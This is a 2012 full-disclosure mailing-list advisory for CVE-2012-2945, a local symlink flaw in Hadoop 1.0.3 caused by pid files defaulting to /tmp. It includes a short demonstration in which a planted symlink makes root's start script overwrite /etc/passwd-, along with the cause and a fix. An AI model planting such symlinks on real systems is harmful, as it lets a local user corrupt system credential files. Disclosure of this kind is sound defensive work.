[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] CVE-2012-2945 hadoop-env symlink vulnerability
From:       "Simon ." <bofh666ftw () googlemail ! com>
Date:       2012-06-30 22:10:54
Message-ID: CAATysseZ6_QHzftBA3Szh0zdV4RRwJXp_uAY2Nb0hrwnhBQtpg () mail ! gmail ! com
[Download RAW message or body]

Software       : hadoop-1.0.3
Vulnerability  : Symlink
Problem type   : local
CVE ID         : CVE-2012-2945
Date           : May 28, 2012
Affected       : min May 08, 2012




Symptom:

$ echo $JAVA_HOME
/usr/lib/jvm/java-7-openjdk
$ file /tmp/hadoop-root-tasktracker.pid
/tmp/hadoop-root-tasktracker.pid: symbolic link to `/etc/passwd-'
$ sh bin/start-all.sh
starting namenode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-namenode-t0.out
root@localhost's password:
localhost: starting datanode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-datanode-t0.out
root@localhost's password:
localhost: starting secondarynamenode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-secondarynamenode-t0.out
starting jobtracker, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-jobtracker-t0.out
root@localhost's password:
localhost: starting tasktracker, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-tasktracker-t0.out
$ tail -1 /etc/passwd-
10544

Problem:

$ grep tmp src/hadoop-1.0.3/conf/hadoop-env.sh
# The directory where pid files are stored. /tmp by default.

as pointed out by CVE Team:
"Incidentally, it seems that in Hadoop 1.x, only the
HADOOP_PID_DIR setting is affected, but in Hadoop 2.x, both the
HADOOP_PID_DIR and HADOOP_SECURE_DN_PID_DIR settings might be
affected:

 http://svn.apache.org/repos/asf/hadoop/common/branches/branch-2/hadoop-common-project/hadoop-common/src/main/conf/hadoop-env.sh


 # The directory where pid files are stored. /tmp by default.
 export HADOOP_PID_DIR=${HADOOP_PID_DIR}
 export HADOOP_SECURE_DN_PID_DIR=${HADOOP_PID_DIR}
"


Solution:

Hadoop Cloud Specialists (lol) should edit conf/hadoop-env and change
the pid file directory to something sane.

Impact:

Low

Timeline:

May 25 - got drunk
May 26 - got drunk
May 27 - MARK -
May 28 - playing around with hadoop
       - notified security@
       - got reply, clarified things
Jul 01 - get rid of this ;)


Greetings:

To CVE Team!
To srm, Dude!
To the usual suspects
To those, who trust me.
To all who stay real.

Simon
.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[prev in list] [next in list] [prev in thread] [next in thread]